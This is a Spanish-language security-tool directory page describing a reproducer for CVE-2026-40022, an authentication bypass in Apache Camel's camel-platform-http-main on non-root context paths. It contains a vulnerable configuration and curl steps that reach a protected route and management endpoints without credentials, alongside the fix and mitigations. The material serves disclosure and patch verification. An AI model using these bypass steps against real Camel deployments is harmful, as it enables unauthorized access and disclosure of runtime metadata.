Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40022 — Reproductor para CVE-2026-40022: bypass de autenticación de Apache Camel camel-platform-http-main en rutas de contexto no raíz | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40022
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónMala Configuración
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Reproductor para CVE-2026-40022: bypass de autenticación de Apache Camel camel-platform-http-main en rutas de contexto no raíz

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Bypass de autenticación en rutas de contexto no raíz de camel-platform-http-main (CVE-2026-40022)

Este proyecto demuestra un bypass de autenticación en el componente camel-platform-http-main de Apache Camel (el servidor HTTP/de gestión integrado del runtime main de Camel), registrado como CVE-2026-40022. Cuando la autenticación está habilitada y se configura una ruta de contexto no raíz (p. ej. /api o /admin), el manejador de autenticación solo cubre la ruta de contexto exacta, por lo que las solicitudes no autenticadas a subrutas alcanzan rutas de negocio protegidas y endpoints de gestión.

Aviso: https://camel.apache.org/security/CVE-2026-40022.html

Resumen de la vulnerabilidad

PropiedadValor
Componentecamel-platform-http-main (servidor HTTP/de gestión integrado del runtime main de Camel)
Clases afectadasBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
Causa raízCuando authenticationPath no está definido, se deriva de camel.server.path; con el modelo de montaje de sub-routers de Vert.x, el manejador de autenticación solo coincide con la ruta de contexto exacta, no con sus subrutas
CWECWE-287: Autenticación incorrecta (bypass de autenticación)
ImpactoAcceso no autenticado a rutas de negocio protegidas y endpoints de gestión (p. ej. divulgación de metadatos del runtime mediante /observe/info)
Versiones afectadasDesde 4.14.1 antes de 4.14.6, y desde 4.15.0 antes de 4.18.2
Versiones corregidas4.14.6, 4.18.2, 4.20.0
ReporteroJihang Yu
PRsapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Detalles técnicos

BasicAuthenticationConfigurer (y JWTAuthenticationConfigurer) resuelven la ruta que el manejador de autenticación protege desde properties.getAuthenticationPath(), recurriendo a properties.getPath() (la ruta de contexto camel.server.path) cuando no se establece explícitamente:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

El servidor Vert.x monta un sub-router en <contextPath>* y registra el manejador de autenticación dentro de ese sub-router en la ruta resuelta. En las versiones afectadas, la ruta resuelta es la propia ruta de contexto, por lo que — en relación con el sub-router ya montado en /api — el manejador de autenticación termina coincidiendo con /api/api en lugar de con cada subruta. Como resultado:

  • /api/api sí recibe desafío (401) — el manejador está presente, solo que mal delimitado
  • /api/hello (la ruta de negocio real) no recibe desafío → se sirve sin credenciales

La corrección hace que resolveAuthenticationPath devuelva /*, de modo que el manejador cubre todas las subrutas del sub-router.

Configuración

application.properties — una ruta de contexto no raíz con autenticación habilitada y authenticationPath sin definir:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

La ruta se sirve en /api/hello.

Requisitos previos

  • Java 17+
  • Maven 3.8+

No se requiere ningún servicio externo ni contenedor Docker: el servidor HTTP vulnerable es la propia aplicación.

Pasos de reproducción

Paso 1: Compilar e iniciar

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Paso 2: Mostrar que la autenticación SÍ está habilitada

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

El BasicAuthHandler está activo, pero está mal delimitado a la ruta de contexto exacta.

Paso 3: El bypass — alcanzar la ruta protegida sin credenciales

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (this is a PROTECTED business route)

En una versión corregida (4.14.6 / 4.18.2 / 4.20.0) esto devuelve 401 Unauthorized.

Paso 4: Con credenciales también funciona (como se esperaba)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Impacto: divulgación de endpoints de gestión

La misma falla se aplica al servidor de gestión (camel.management.path, p. ej. /admin). Una solicitud no autenticada a una subruta como /admin/observe/info alcanza el endpoint de gestión, que puede divulgar metadatos del runtime: el usuario del sistema operativo, el directorio de trabajo/hogar, el ID del proceso e información de JVM y del sistema operativo.

Condiciones de explotación

  1. El runtime main de Camel con camel-platform-http-main.
  2. Autenticación habilitada en el servidor o en el servidor de gestión.
  3. Una ruta de contexto no raíz (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath no establecidas explícitamente.

Corrección recomendada

Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección (resolveAuthenticationPath) hace que el manejador de autenticación cubra todas las subrutas:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // was: the exact context path
}

Mitigación

Hasta que se actualice:

  1. Establezca explícitamente camel.server.authenticationPath = /* (y camel.management.authenticationPath = /*) para que el manejador cubra todas las subrutas.
  2. Mantenga el servidor de gestión únicamente en una red de confianza.

Archivos

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main runtime entry point
    │   └── HelloRoute.java           # a protected platform-http route (/api/hello)
    └── resources/
        ├── application.properties    # non-root path + auth enabled (the vulnerable config)
        └── auth.properties           # basic-auth user (camel / propertiesPass)

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta